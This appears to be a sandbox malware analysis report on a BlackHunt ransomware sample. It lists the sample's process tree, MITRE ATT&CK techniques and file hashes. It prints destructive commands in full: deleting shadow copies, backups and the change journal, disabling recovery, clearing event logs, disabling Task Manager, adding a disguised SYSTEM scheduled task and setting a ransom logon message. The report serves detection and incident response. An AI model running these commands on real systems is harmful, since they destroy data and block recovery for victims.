  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe" /F
  2⤵
  PID:2436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2080
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1896
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2204
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2032
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:588
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:488
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1048
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1412
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1248
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2080
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3020
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2196
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2668
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3108
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3132
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:780
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3196
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:860
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1920
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1836
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe"
  2⤵
  - Deletes itself
  PID:3700
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2424

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11185950861220711109-214196720817068618741496858278-18425697674226936971653669376"
1⤵
- Modifies registry class
PID:2580

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3720

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1500

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
41686d57b83a8690d466fc8929b1c121

SHA1
26db9574c9d7104e1bdaf9a92d9fa5ace795c457

SHA256
d8cacae5e0aa5af59099653e1c091b6f02036c20c339fe31a05187f55d179f5f

SHA512
060a7589cf08e7a387a5433109ad5c8019f3127bad72c14cd55916a67cef720fbbef7f813159d665e59dc8bfc32a07853b71429c50a6c52e5d31eaa1acecd102

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
8d45b4d6f569d55f9074678b8aaade4c

SHA1
3cd963831f748229bcd33b351b3ff4bc7b99982e

SHA256
fd23afba1cffd3aca8d75e22239a1b9a2f3c675e792263df5f181a44b4a872a8

SHA512
9a84af8c21b818f060b67690dfccd2d90cbb922be85c9fe1f5a46b421354593dc6dbc5a3d3696a458d34d2aa2e753ac219ca7f1d20875b955ebf19ac382dfc4e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
5d5cda5c68ff3d88ca5963be334a3ebd

SHA1
dbfdbe617315ed5bb50b0dbf7e39a76902ea80d1

SHA256
2bfc541050a12205521857c0438d95a1dee28e419047249d51043a1a166f438a

SHA512
b6e422783e7454af2dae11f894e751075b9a5573ba04c6c0cb6275843df12dbea02420780b923e49fc1de4ec226b87b98f49d1192fd091fb0cca102be6827d7a

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads